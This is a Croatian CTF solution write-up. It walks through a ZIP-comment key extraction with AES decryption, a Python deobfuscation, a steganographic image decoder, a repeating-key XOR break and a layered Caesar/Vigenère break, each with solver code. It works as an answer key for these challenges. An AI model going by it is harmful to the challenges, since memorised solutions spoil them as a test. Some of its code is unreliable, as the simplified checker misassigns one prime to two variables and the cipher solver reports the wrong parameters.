000c4780: 0035 470c 0020 003d e2da c2cb fdde 65c1  .5G.. .=......e.
000c4790: 7948 dcbd 2f78 400e b8ec b0e8 498b 6c4c  yH../[email protected]
000c47a0: 9318 66de 87c6 a9

Ovdje se mogu vidjeti vrijednosti druge polovice AES ključa koja se XOR-a s hardkodiranom vrijednošću i AES IV, iako AES IV nije bitno iščitati odavde, jer je također zapisan i u enkriptiranoj datoteci.

Sada samo treba pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, sa samog početka) za dekripciju enkriptirane flag datoteke.

Program koji iščitava vrijednosti upisane nakon kraja ZIP datoteke je u nastavku.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <zip_file>\n", argv[0]);
        return 1;
    }
    
    FILE *file = fopen(argv[1], "rb");
    if (!file) {
        perror("Failed to open file");
        return 1;
    }
    
    fseek(file, 0, SEEK_END);
    long size = ftell(file);

    for (long i = size - 22; i >= 0; i--) {
        fseek(file, i, SEEK_SET);
        unsigned char sig[4];
        fread(sig, 1, 4, file);
        
        if (sig[0] == 0x50 && sig[1] == 0x4b && sig[2] == 0x05 && sig[3] == 0x06) {
            fseek(file, i + 20, SEEK_SET);
            unsigned short comment_len;
            fread(&comment_len, 2, 1, file);
            
            if (comment_len > 0) {
                unsigned char *comment = malloc(comment_len);
                fread(comment, 1, comment_len, file);
                
                fwrite(comment, 1, comment_len, stdout);
                free(comment);
                break;
            }
        }
    }
    
    fclose(file);
    return 0;
}

Ovaj program se može pokrenuti da pročita dio ključa i pohrani ga u željenu datoteku.

./extractCommKey LorenIps > extractedKeys.bin

Nakon toga se pohranjeni dio ključa može proslijediti sljedećem programu, s flagEnc.bin enkriptiranom datotekom, kako bi dekriptirao datoteku i našao flag.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/aes.h>

// Hardcoded key (same)
const unsigned char hardcoded_key[16] = {
    0x19, 0x47, 0x25, 0x4b,
    0xf3, 0x56, 0x6b, 0x2f,
    0xce, 0x61, 0x30, 0x3d,
    0xf5, 0xee, 0x43, 0xe6
};

// Function to XOR two key parts
void xor_keys(const unsigned char *key1, const unsigned char *key2, unsigned char *result) {
    for (int i = 0; i < 16; i++) {
        result[i] = key1[i] ^ key2[i];
    }
}

void decrypt_file(const char *input_path, const char *output_path, 
                  const unsigned char *key, const unsigned char *iv) {
    FILE *in_file = fopen(input_path, "rb");
    FILE *out_file = fopen(output_path, "wb");
    
    if (!in_file || !out_file) {
        perror("File error");
        exit(1);
    }
    
    // Read IV 
    unsigned char file_iv[16];
    fread(file_iv, 1, 16, in_file);
    

    AES_KEY aes_key;
    AES_set_decrypt_key(key, 128, &aes_key);
    
    // Decrypt
    unsigned char in_buf[16], out_buf[16];
    int bytes_read;
    int padding_value;
    
    while ((bytes_read = fread(in_buf, 1, 16, in_file)) > 0) {
        AES_cbc_encrypt(in_buf, out_buf, 16, &aes_key, file_iv, AES_DECRYPT);
        
        if (feof(in_file)) {
            padding_value = out_buf[15];
            if (padding_value > 0 && padding_value <= 16) {
                bytes_read = 16 - padding_value;
            }
        }
        
        fwrite(out_buf, 1, bytes_read, out_file);
    }
    
    fclose(in_file);
    fclose(out_file);
}

int main(int argc, char *argv[]) {
    if (argc != 3 && argc != 4) {
        printf("Usage: %s <encrypted_file> <output_file> [key1_file]\n", argv[0]);
        printf("If key1_file is not provided, reads key1 from stdin\n");
        return 1;
    }
    
    unsigned char key1[16];
    
    if (argc == 4) {
        // Read key1 from file
        FILE *key_file = fopen(argv[3], "rb");
        if (!key_file) {
            perror("Failed to open key file");
            return 1;
        }
        fread(key1, 1, 16, key_file);
        fclose(key_file);
    } else {
        // from stdin
        fread(key1, 1, 16, stdin);
    }
    
    // XOR extracted key with hardcoded key to get AES key
    unsigned char actual_key[16];
    xor_keys(key1, hardcoded_key, actual_key);
    
    unsigned char iv[16];
    
    decrypt_file(argv[1], argv[2], actual_key, iv);
    printf("File decrypted successfully: %s\n", argv[2]);
    
    return 0;
}

Sada se program može pokrenuti s proslijeđenim datotekama i pročitati dešifrirani flag.

$ ./decrypt flagEnc.bin decrypted_flag.txt extractedKeys.bin
$ cat decrypted_flag.txt

It's everyday MRO

Nikad nisam vidio ovako čudan Python kod

Uz zadatak je dostupna ZIP datoteka koja sadrži run.sh, Dockerfile i challenge.py.

run.sh je skripta za pokretanje zadatka, koja gradi Docker image i pokreće ga, kako bi challenge.py imao konzistentno ponašanje, bez obzira na Python verziju na hostu.

Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, nego naprednija, za koju je potrebna točno određena verzija Pythona definira u Dockerfileu.

Pristup deobfuskaciji ovog zadatka je dodavanje i mijenjanje koda u challenge.py, dok se ne dobije čitljiv kod. Tijekom obfuskacije se i dalje promijenjena challenge.py skripta treba pokretati s run.sh skriptom kako bi se koristila ista verzija Pythona, a ne host verzija Pythona.

Prvo se može cijeli kod staviti u string varijablu, nad kojom će se s pomoću regex operatora i zamjena pojednostavljivati kod.

obf= """x, y = __import__('operator'), __import__('funct....."""

Može se napisati funkcija za deobfuskaciju koda

import re
from collections import OrderedDict
import operator
import functools

def deobfuscate(obfuscated_code: str) -> str:
    """
    Deobfuscates a multi-layered Python code string by resolving dynamic attribute
    lookups, simplifying expressions, + specific edge cases fixes
    """
    code = obfuscated_code
    
    ctx = {
        "x": operator,
        "y": functools,
        "__builtins__": __builtins__,
        "operator": operator
    }
    
    patterns = [
        re.compile(r'(\[\]\.__class__\.__mro__\[-1\]\.__subclasses__\(\)\[(\d+)\])'),
        re.compile(r'(\[\*?([a-zA-Z0-9_.]+)\.__dict__\.values\(\)\](\[-?\d+\])+)')
    ]

    for _ in range(10):
        matches = OrderedDict()
        for pat in patterns:
            for match in pat.finditer(code):
                matches[match.group(1)] = match.group(1)
        
        if not matches:
            break

        replacements = {}
        for original_expr in matches:
            try:
                obj = eval(original_expr, ctx)
                if hasattr(obj, '__module__'):
                    mod, name = obj.__module__, obj.__name__
                    if mod == 'builtins' and name.isidentifier():
                        repl_str = name
                    elif mod in ['operator', '_operator']:
                        repl_str = f"x.{name}"

                    elif mod == 'functools':
                        repl_str = f"y.{name}"
                    else:
                        repl_str = repr(obj)
                else:
                    repl_str = repr(obj)
                
                replacements[re.escape(original_expr)] = repl_str
            except Exception:
                continue

        if not replacements:
            break

        combined_pattern = re.compile('|'.join(sorted(replacements.keys(), key=len, reverse=True)))
        code = combined_pattern.sub(lambda m: replacements[re.escape(m.group(0))], code)

    code = re.sub(r"<method '([^']+)' of '([^']+)' objects>", r"\2.\1", code)
    code = re.sub(r"<slot wrapper '([^']+)' of '([^']+)' objects>", r"operator.\1", code)

    # EDGECASE: str.endswith(..., <integer>) TypeError.
    def fix_endswith_type_error(match):
        arg_str, number_expr = match.groups()
        try:
            # Evaluate the integer expression ("3*3" -> 9)
            number_val = eval(number_expr)
            # corrected call
            binary_suffix = bin(number_val)[2:]
            return f"str.endswith({arg_str}, '{binary_suffix}')"
        except Exception:
            return match.group(0) # Fallback

    code = re.sub(r"str\.endswith\(([^,]+?),\s*([0-9\s\*\+\-/]+)\)", fix_endswith_type_error, code)

    # Replace `_lru_list_elem` with a lambda function.
    # The pattern `y._lru_list_elem(x.mod, n)` === `lambda i: x.mod(n, i)`
    def fix_lru_list_elem(match):
        func, arg = match.groups()
        return f"(lambda i: {func}({arg}, i))"

    code = re.sub(r"y\._lru_list_elem\(([^,]+?),\s*([^)]+?)\)", fix_lru_list_elem, code)

    return code
    
obf= """..."""

    
deobfuscated_code = deobfuscate(obf)
print(deobfuscated_code)

Ova funkcija pretvara originalni kod u puno čitljiviji oblik koji i dalje sadrži istu funkcionalnost.

x, y = __import__('operator'), __import__('functools');print(x.add((x.add(x.add("CTF2025[", (a := input("Unesi lozinku:"))), "]"))*(x.and_(x.and_(x.and_(str.endswith(bin(int(a)), '0'*3), x.eq(x.truediv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343322, 686644)))), x.floordiv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343323, 686646)))))), x.not_(x.mod(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(x.or_(operator.__lshift__(26, 13), operator.__lshift__(1, 9)), 686646)))))), x.eq(len(hex(int(a))), 12))), "Nope :/"*((x.not_(x.and_(x.and_(x.and_(str.endswith(bin(int(a)), '0'*3), x.eq(x.truediv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343322, 686644)))), x.floordiv(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(343323, 686646)))))), x.not_(x.mod(int(a), next(filter(lambda n: all(map((lambda i: x.mod(n, i)), range(2, n))), range(x.or_(operator.__lshift__(26, 13), operator.__lshift__(1, 9)), 686646)))))), (x.eq(len(hex(int(a))), 12))))))))

Daljnjim rasplitanjem ovog koda može se doći do još čitljivijeg oblika.

import operator

# Optimized primality test 
def is_prime(n):
    if n < 2:
        return False
    # Only checking divisors up to the square root of n.
    for i in range(2, int(n**0.5) + 1):
        if n % i == 0:
            return False
    return True

def find_first_prime_in_range(start, end):
    """Finds the first prime number within a range."""
    for num in range(start, end):
        if is_prime(num):
            return num
    raise StopIteration("No prime found in the given range.")


password_str = input("Unesi lozinku:")

try:

    password_num = int(password_str)

    # --- Step 1: Calculate the three prime numbers
    prime1, prime2 = find_first_prime_in_range(343322, 686644) # 343327

    prime3_start = (26 << 13) | (1 << 9) # 213504
    prime3 = find_first_prime_in_range(prime3_start, 686646) # 213527

    # Check 1: The binary representation of the number must end with '000'.
    check_binary_suffix = bin(password_num).endswith('000')

    # Check 2: A complex check for divisibility by prime1.
    check_prime_division = (password_num / prime1) == (password_num // prime2)

    # Check 3: `not (number % prime)`.
    # `not 0` == `True`.
    mod_result = password_num % prime3
    check_non_divisibility = not mod_result

    # Check 4: The length of the hex string (including '0x') must be 12.
    check_hex_length = len(hex(password_num)) == 12

    if all([check_binary_suffix, check_prime_division, check_non_divisibility, check_hex_length]):
        print("CTF2025[" + password_str + "]")
    else:
        print("Nope :/")

except (ValueError, TypeError, StopIteration):
    print("Nope :/")

Iz ovih uvjeta se može napisati skripta koja će pronaći broj koji zadovoljava sve uvjete.

def is_prime(n):
    if n < 2:
        return False
    for i in range(2, int(n**0.5) + 1):
        if n % i == 0:
            return False
    return True

def find_first_prime_in_range(start, end):
    for num in range(start, end):
        if is_prime(num):
            return num
    raise StopIteration("No prime found in the given range.")

# constants
print("Calculating the required prime numbers...")
prime1 = find_first_prime_in_range(343322, 686644)
prime3_start = (26 << 13) | (1 << 9)
prime3 = find_first_prime_in_range(prime3_start, 686646)
print(f"  - Divisibility Prime (prime1): {prime1}")
print(f"  - Divisibility Prime (prime3): {prime3}\n")


## constraints
# Must be a multiple of 8 ( === binary ends in '000')
factor1 = 8
# Must be a multiple of prime1
factor2 = prime1
# ust be a multiple of prime3
factor3 = prime3

print(f"  - Constraint A: Must be a multiple of {factor1}")
print(f"  - Constraint B: Must be a multiple of {factor2}")
print(f"  - Constraint C: Must be a multiple of {factor3}")

# Hex length must be 12 characters.
# '0x' + 10 hex digits.
min_bound = 0x1000000000  
max_bound = 0xFFFFFFFFFF  
print(f"Must be between {min_bound} and {max_bound} (inclusive).\n")

# To satisfy the three divisibility constraints, the number must be a multiple
# of their Least Common Multiple. They are coprime ===> LCM is their product.
lcm = factor1 * factor2 * factor3
print(f"Least Common Multiple: {lcm}")

## candidate * 2 is already outside the max range 
## len(str(candidate * 2)) = 13
candidate = lcm

# Verify candidate
print("Verifying the constructed number against constraints")

# Check 1: Binary Suffix
check1 = bin(candidate).endswith('000')
print(f"  - Condition 1 (ends in '000'): {check1}")

# Check 2: Prime Division
check2 = (candidate % prime1) == 0
print(f"  - Condition 2 (divisible by {prime1}): {check2}")

# Check 3: divisibility ( if % returns 0, (not 0) == True -> % operation must return 0)
check3 = not (candidate % prime3)
print(f"  - Condition 3 (divisible by {prime3}): {check3}")

# Check 4: Hex Length
check4 = len(hex(candidate)) == 12
print(f"  - Condition 4 (hex length is 12): {check4}\n")

if all([check1, check2, check3, check4]):
    print(f"\nThe solution is: {candidate}")
    print(f"Flag: CTF2025[{candidate}]")
else:
    print("Candidate does not meet all conditions.")

Stegosaurus

U slici stegosaura skrivena je tajna poruka, možeš li ju pronaći?

Uz zadatak su dani izvršna datoteka i slika. Pojmovi STEGOsaurus, tvrdnja da je u slici “skrivena” tajna poruka, kao poruka pri pokušaju pokretanja izvšne datoteke

Usage: ./hide <message> <image_path>

upućuju na to da je izvršna datoteka program koji će odabranu poruku “sakriti” u sliku, odnosno steganografski program.

Pokretanjem naredbe strings nad izvršnom datotekom hide

strings hide

mogu se pronaći ovi stringovi

.jpg
.jpeg
Failed to write image
stbi__load_and_postprocess_8bit
stbi__load_and_postprocess_16bit
stbi__convert_format
stbi__convert_format16
stbi__jpeg_huff_decode
JFIF
Adobe
stbi__bit_reverse
stbi__create_png_alpha_expand8
stbi__create_png_image_raw
stbi__compute_transparency
stbi__compute_transparency16
stbi__de_iphone
stbi__shiftsigned
stbi__tga_load
stbiw__writefv
stbiw__write_run_data
stbiw__write_dump_data
stbiw__sbgrowf
stbi_zlib_compress
stbi_write_png_to_mem
JFIF

Pretraživanjem po internetu s ovim stringovima, može se naići na GitHub projekt STB, koji se koristi od strane izvršne datoteke dane u zadatku.

Sada se može uz analizu koda dostupnog na GitHub stranici i dekompajliranog koda izvršne datoteke, dokučiti kako radi izvršna datoteka hide, te napisati program koji će pronaći skriveni tekst u slici.

Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se mogu iskoristiti odgovarajuć kod s korištenog GitHub projekta.

Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R,G,B vrijednosti, onda u zadnji piksel (donji desni) pohranjuje duljinu poruke kao XOR nad duljinom poruke i najčešćim RGB vrijednostima (ovo se može i vizualno primijetiti, da zadnji piksel je drugačiji od okolnih)

Potom svako slovo skrivenog teksta skriva kao XOR nad ASCII vrijednosti tog znaka i najčešćih RGB vrijednosti piksela, te ih postavlja na pozicije određene prostim brojevima.

Program koji otkriva skriveni tekst u slici danoj u zadatku je u nastavku.

#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

int* generate_first_n_primes(int n, int *actual_count) {
    if (n <= 0) {
        *actual_count = 0;
        return NULL;
    }
    if (n == 1) {
        int *primes = malloc(sizeof(int));
        primes[0] = 2;
        *actual_count = 1;
        return primes;
    }

    double logn = log(n);
    double loglogn = log(logn);
    int limit = (n < 100) ? 1000 : (int)(n * (logn + loglogn)) + 1000;

    unsigned char *sieve = calloc(limit + 1, sizeof(unsigned char));
    for (int i = 2; i <= limit; i++) sieve[i] = 1;
    
    for (int i = 2; i * i <= limit; i++) {
        if (sieve[i]) {
            for (int j = i * i; j <= limit; j += i) {
                sieve[j] = 0;
            }
        }
    }

    int *primes = malloc(n * sizeof(int));
    int count = 0;
    for (int i = 2; i <= limit && count < n; i++) {
        if (sieve[i]) {
            primes[count++] = i;
        }
    }
    
    free(sieve);
    *actual_count = count;
    return primes;
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <image_path>\n", argv[0]);
        return 1;
    }

    char *image_path = argv[1];
    int width, height, channels;
    unsigned char *image = stbi_load(image_path, &width, &height, &channels, 0);
    if (!image) {
        fprintf(stderr, "Error loading image %s\n", image_path);
        return 1;
    }

    int *counts = calloc(256 * 256 * 256, sizeof(int));
    int total_pixels = width * height;
    for (int i = 0; i < total_pixels; i++) {
        unsigned char r = image[i * channels];
        unsigned char g = image[i * channels + 1];
        unsigned char b = image[i * channels + 2];
        counts[r * 256 * 256 + g * 256 + b]++;
    }

    unsigned char max_r = 0, max_g = 0, max_b = 0;
    int max_count = 0;
    for (int i = 0; i < 256 * 256 * 256; i++) {
        if (counts[i] > max_count) {
            max_count = counts[i];
            max_r = i / (256 * 256);
            max_g = (i / 256) % 256;
            max_b = i % 256;
        }
    }
    free(counts);

    int last_pixel_idx = (height - 1) * width + (width - 1);
    unsigned char *last_pixel = image + last_pixel_idx * channels;
    int len = ((last_pixel[0] ^ max_r) << 16) |
              ((last_pixel[1] ^ max_g) << 8) |
              (last_pixel[2] ^ max_b);

    int n_primes = (len >= 2) ? len - 2 : 0;
    int prime_count;
    int *primes = generate_first_n_primes(n_primes, &prime_count);
    
    char *output = malloc(len + 1);
    for (int i = 0; i < len; i++) {
        int row;
        if (i == 0) row = 0;
        else if (i == 1) row = 1;
        else row = primes[i - 2] % height;
        
        int col = (i * len) % width;
        unsigned char *p = image + (row * width + col) * channels;

        unsigned char part_r = p[0] & 0x07;
        unsigned char part_g = p[1] & 0x07;  
        unsigned char part_b = p[2] & 0x03;
        
        part_r ^= (max_r & 0x07);
        part_g ^= (max_g & 0x07);  
        part_b ^= (max_b & 0x03);
        
        output[i] = (part_r << 5) | (part_g << 2) | part_b;
    }
    output[len] = '\0';
    printf("%s\n", output);
    
    free(primes);
    free(output);
    stbi_image_free(image);
    return 0;
}

Kriptografija

Tajna poruka

Dešifriraj ovu tajnu poruku

T30fhy88 i 19t8c xbde wfa5:

7NDNK3Z[LQY5VY2YSR2U]

Zbh fz7n: T30fhy88 + C3u4p = G2h87vle h 8ls12n e50oc3h.

Rješenje ovog zadatka prikazano je na slici u nastavku.

 Rješenja zadatka

Xorry 1

Zagrijavanje

Uz zadatak su dani kod korišten za generiranje šifrata i šifrat.

Kod generira 49 nasumičnih 30-znamenkastih hex brojeva (charset: (0-9) + (a-f) ASCII vrijednosti)

U jednu liniju stavlja sadržaj pročitane datoteke flag.txt, te nasumično s lijeve i desne strane dodaje padding u istom charsetu kao ostale linije, dok ta linija ne bude također dužine 30.

Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd.

Logika rješenja je prvo pronaći dužinu ključa, pa onda pronaći bajt ključa za koju se svaki dio plaintexta koji je bio šifriran njome dekriptira u validnu znamenku iz charseta (0-9) + (a-f).

Skripta je dana u nastavku.

from collections import defaultdict
import numpy as np

# Define charset in ASCII 
HEX_DIGITS = set(ord(c) for c in '0123456789abcdef')
DEBUG = True

def debug_print(message):
    if DEBUG:
        print(message)

def index_of_coincidence(data):
    freq = defaultdict(int)
    for byte in data:
        freq[byte] += 1
    n = len(data)
    if n <= 1:
        return 0
    return sum(f*(f-1) for f in freq.values()) / (n * (n - 1))

def find_key_length(ciphertext, min_length=7, max_length=23):
    best_length = 0
    best_score = 0
    
    for key_len in range(min_length, max_length + 1):
        scores = []
        for offset in range(key_len):
            group = []
            idx = offset
            while idx < len(ciphertext):
                group.append(ciphertext[idx])
                idx += key_len
            ic = index_of_coincidence(group)
            scores.append(ic)
        
        avg_ic = np.mean(scores) if scores else 0
        debug_print(f"Key length {key_len}: Avg IC = {avg_ic:.6f}")
        
        if avg_ic > best_score:
            best_score = avg_ic
            best_length = key_len
    
    return best_length

def recover_key(ciphertext, key_length):
    key = bytearray(key_length)
    position_groups = defaultdict(list)
    
    # Group bytes by their position in the key cycle
    for idx, byte in enumerate(ciphertext):
        position = idx % key_length
        position_groups[position].append(byte)
    
    # For each key position, find best candidate
    for pos in range(key_length):
        best_candidate = 0
        best_hex_count = -1
        bytes_at_pos = position_groups[pos]

        for candidate_byte in range(256):
            hex_count = 0
            for byte in bytes_at_pos:
                decrypted = candidate_byte ^ byte
                if decrypted in HEX_DIGITS:
                    hex_count += 1
            
            if hex_count > best_hex_count:
                best_hex_count = hex_count
                best_candidate = candidate_byte
        
        key[pos] = best_candidate
        debug_print(f"Position {pos}: best candidate {best_candidate} ({best_hex_count}/{len(bytes_at_pos)} hex)")
    
    return bytes(key)

def main():
    try:
        with open('output.txt', 'r') as f:
            hex_lines = f.readlines()
    except FileNotFoundError:
        print("Error: output.txt not found")
        return
    
    ciphertext = bytearray()
    for line in hex_lines:

        line = line.strip()
        ciphertext.extend(bytes.fromhex(line))
 
    debug_print(f"Total ciphertext length: {len(ciphertext)} bytes")
    
    # Find key length
    key_length = find_key_length(ciphertext)
    if key_length == 0:
        print("Error: Failed to determine key length")
        return
    
    debug_print(f"Key length: {key_length}")
    
    # Find key
    key = recover_key(ciphertext, key_length)
    debug_print(f"Recovered key: {key.hex()}")
    
    # Decrypt
    plaintext = bytearray()
    for i, byte in enumerate(ciphertext):
        plaintext.append(byte ^ key[i % len(key)])
    
    lines = []
    for i in range(0, len(plaintext), 30):
        line = plaintext[i:i+30].decode('ascii')
        lines.append(line)

    
    with open('decrypted.txt', 'w') as f:
        for line in lines:
            f.write(line + '\n')
    
    print("Decrypted to decrypted.txt")
    
    # Find flag line
    print("\nFlag line:")
    for i, line in enumerate(lines):
        if any(char not in '0123456789abcdef' for char in line):
            print(f"Line {i+1}: {line}")

if __name__ == "__main__":
    main()

Jumbo 1

python3 generator.py --flag "CTF2025[...]" --words 3000

Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat.

Pregledom dijela koda u kojem se parsiraju argumenti dani programu i pregledom naredbe za pokretanje programa dane u tekstu zadatka, može se zaključiti da je duljina ključa definirana default vrijednostima i da je između 13 i 27.

Zadatak je spoj Cezarove i Vigenèreove šifre (obične, postoji i autokey), ali je Cezarova šifra implementirana i na dodatan drugačiji način, za svaku riječ će se korištena Cezarova šifra razlikovati ovisno o duljini riječi.

Prvo se koristi normalna Cezarova šifra, pa Vigenere šifra, pa Cezarova šifra za svaku riječ, ovisna o duljini riječi.

Jednadžba za specifičan pomak po riječi je:

pomak = (duljina_riječi * X + Y) % broj_znakova_u_rječniku

Gdje su X i Y konstante u programu, koje su iste za svije riječi.

Normalna Vigenere i Cezarova šifre kad se zajedno koriste, je samo ekvivalentno kao da se koristi Vigenere šifra s drugim ključem, pa dio programa koji koristi normalnu Vigenere šifru, di je isti pomak za svaki znak nije bitan, nego se može riješit samo pronalaskom promijenjenog Vigenere ključa.

I prvi i drugi korak su riješeni korištenjem indeksa slučajnosti (IC - index of coincidence), broj koji govori kolika je šansa da dva nasumično odabrana slova iz teksta budu ista. Zna se da se koristi engleski rječnik i da je za engleski jezik IC ~ 0.067.

IC je niži za tekst koji je potpuno nasumičan, a viši je za strukturirani tekst, jer se neka slova puno češće ponavljaju. Za potpuno nasumičan tekst, s brojem znakova u rječniku 38, kao u zadatku, IC potpuno nasumičnog teksta bi bio 1/38 ~ 0.0263.

Pri pronalasku prve konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, IC će biti veći. Kako bi se pronašla ispravna kombinacija X i Y pomaka po riječi, mogu se pokušati sve kombinacije. X i Y su nasumični integer u rasponu od 1 do broja znakova u rječniku, što je 38.

Broj mogućih kombinacija je onda

38 * 38 = 1444

To je prihvatljiv broj kombinacija za napravit “bruteforce” i pronaći kombinaciju koja ima najveći IC. Nakon toga je uspješno riješen inverz pomaka po riječi i potrebno je samo riješiti običnu Cezar + Vigenere šifru, što je ekvivalentno samo rješavanju Vigenere šifre s drugim ključem, kao što je već spomenuto.

To se može napraviti ili korištenjem Kasiski analize, ili drugim načinom, korištenjem Friedman analize s pomoću IC vrijednosti, kao što će biti prikazano u rješenju ovog zadatka.

Prvo se pokušava pronaći duljina Vigenere ključa, to se radi tako da se za različite potencijalne dužine ključa naprave skupine slove, koja su sva bila pomaknuta istim znakom Vigenere ključa. U tome slučaju će sva slova u skupini biti pomaknuta za isti pomak, te će IC unutar te skupine biti puno viši. Opet se na ovakav način, pronalaskom konfiguracijom koja ima najviši IC može pronaći ispravna duljina ključa.

Nakon toga je samo potrebno pronaći za svaku skupinu slovo koje je bilo korišteno za pomak te skupine. Za to se koristi učestalost pojavljivanja pojedinih slova u Engleskom jeziku, npr. u skupini je najčešće slovo S, zna se da je u engleskom najčešće slovo E, vrlo moguće da je pomak E → S. Onda se ove provjere naprave i za ostala slova i gleda se konfiguracija koja je najbliža učestalosti slova u engleskom jeziku.

U zadatku se za to koristi ovaj rječnik.

ENG_FREQ = {
 'A': 0.08167,'B': 0.01492,'C': 0.02782,'D': 0.04253,'E': 0.12702,'F': 0.02228,
 'G': 0.02015,'H': 0.06094,'I': 0.06966,'J': 0.00153,'K': 0.00772,'L': 0.04025,
 'M': 0.02406,'N': 0.06749,'O': 0.07507,'P': 0.01929,'Q': 0.00095,'R': 0.05987,
 'S': 0.06327,'T': 0.09056,'U': 0.02758,'V': 0.00978,'W': 0.02360,'X': 0.00150,
 'Y': 0.01974,'Z': 0.00074
}

Objašnjenja skripta dana je u nastavku.

#!/usr/bin/env python3
import argparse
import string
import re
from collections import Counter

charset = string.ascii_uppercase + string.digits + "[]"
MOD = len(charset)
A2N = {char: i for i, char in enumerate(charset)}
N2A = {i: char for i, char in enumerate(charset)}

# Pre-calculated English letter frequencies, mapped to alphabet
ENG_FREQ = {
 'A': 0.08167,'B': 0.01492,'C': 0.02782,'D': 0.04253,'E': 0.12702,'F': 0.02228,
 'G': 0.02015,'H': 0.06094,'I': 0.06966,'J': 0.00153,'K': 0.00772,'L': 0.04025,
 'M': 0.02406,'N': 0.06749,'O': 0.07507,'P': 0.01929,'Q': 0.00095,'R': 0.05987,
 'S': 0.06327,'T': 0.09056,'U': 0.02758,'V': 0.00978,'W': 0.02360,'X': 0.00150,
 'Y': 0.01974,'Z': 0.00074
}
TOTAL_FREQ = sum(ENG_FREQ.values())
ALPHA_FREQ = {c: ENG_FREQ.get(c, 1e-5) / TOTAL_FREQ for c in charset}


def undo_per_word_rot(ciphertext, mult, add):
    out_words = []
    for word in ciphertext.split():
        shift = (sum(1 for char in word if char in A2N) * mult + add) % MOD
        rotated_word = ''.join(N2A[(A2N[char] - shift) % MOD] if char in A2N else char for char in word)
        out_words.append(rotated_word)
    return ' '.join(out_words)

def get_avg_ic(text, keylen):
    alpha_text = [c for c in text if c in A2N]
    ics = []
    for i in range(keylen):
        col = alpha_text[i::keylen]
        N = len(col)
        if N > 1:
            freqs = Counter(col)
            ic = sum(v * (v - 1) for v in freqs.values()) / (N * (N - 1))
            ics.append(ic)
    return sum(ics) / len(ics) if ics else 0.0

def guess_key_lengths(text, max_len=30, top_k=5):
    scores = sorted([(get_avg_ic(text, L), L) for L in range(1, max_len + 1)], reverse=True)
    return [L for _, L in scores[:top_k]]

def recover_vigenere_key(text, keylen):
    key, alpha_text = [], [c for c in text if c in A2N]
    for i in range(keylen):
        col = alpha_text[i::keylen]
        if not col: continue
        N, col_counts = len(col), Counter(col)
        best_shift, min_chi2 = 0, float('inf')
        for s in range(MOD):
            chi2 = sum(((col_counts.get(N2A[(A2N[plain_char] + s) % MOD], 0) - (ALPHA_FREQ[plain_char] * N)) ** 2) / (ALPHA_FREQ[plain_char] * N) for plain_char in charset)
            if chi2 < min_chi2:
                min_chi2, best_shift = chi2, s
        key.append(N2A[best_shift])
    return ''.join(key)

def vigenere_decrypt(text, key):
    key_nums = [A2N[char] for char in key]
    out, ki = [], 0
    for char in text:
        if char in A2N:
            k = key_nums[ki % len(key_nums)]
            out.append(N2A[(A2N[char] - k) % MOD])
            ki += 1
        else:
            out.append(char)
    return ''.join(out)

def find_flag(plaintext, flag_pattern):
    for g in range(MOD):
        shifted_text = ''.join(N2A[(A2N[char] - g) % MOD] if char in A2N else char for char in plaintext)
        match = flag_pattern.search(shifted_text)
        if match:
            return g, match.group(0)
    return None, None


def main():
    parser = argparse.ArgumentParser(description="Solver for the encryption challenge.")
    parser.add_argument("--cipher", default="cipher.txt", help="Path to the ciphertext file.")
    parser.add_argument("--max-keylen", type=int, default=27)
    args = parser.parse_args()

    with open(args.cipher, "r", encoding="utf-8") as f:
        cipher = f.read().strip().upper()

    flag_re = re.compile(r"CTF2025\[\d{12}\]", flags=re.IGNORECASE)

    max = 0
    multH = 0
    addH = 0

    for mult in range(MOD):
        for add in range(MOD):

            stage2_text = undo_per_word_rot(cipher, mult, add)

            new = get_avg_ic(stage2_text, 20)
            
            if new > max:
                max = new
                multH = mult
                addH = add
                print(max)


    stage2_text = undo_per_word_rot(cipher, multH, addH)

    for length in guess_key_lengths(stage2_text, args.max_keylen):
        key = recover_vigenere_key(stage2_text, length)
        if not key: continue
        stage1_text = vigenere_decrypt(stage2_text, key)
        global_shift, flag = find_flag(stage1_text, flag_re)

        if flag:
            print(f"\n\n{'='*16}\n=== FLAG FOUND ===\n{'='*16}")
            print(f"  Flag: {flag}")
            print(f"  Parameters:")
            print(f"    - Per-Word Mult: {mult}")
            print(f"    - Per-Word Add:  {add}")
            print(f"    - Vigenere Key:  '{key}' (length {length})")
            print(f"    - Global Shift:  {global_shift}")
            return
    

    print("\n\nSolver finished. No flag found.")

if __name__ == "__main__":
    main()

Xorry 2

Really xorry for this one

Uz zadatak su dani kod korišten za generiranje šifrata i šifrat.

Zadatak generira šifrat na isti način kao u Xorry1 zadatku, no umjesto 50 linija, vraćeno je samo 10 linija. Glavna razlika je da se linije izmiješaju nakon što se ciklično enkriptiraju nasumičnim ključem nasumične duljine, pa je puno teže pronaći i duljinu ključa i pozicije nad kojima se isti indeks ključa koristio.

Rješenje se temelji na znanim informacijama:

Flag je duljine 21 i cijeli se nalazi unutar jedne linije,
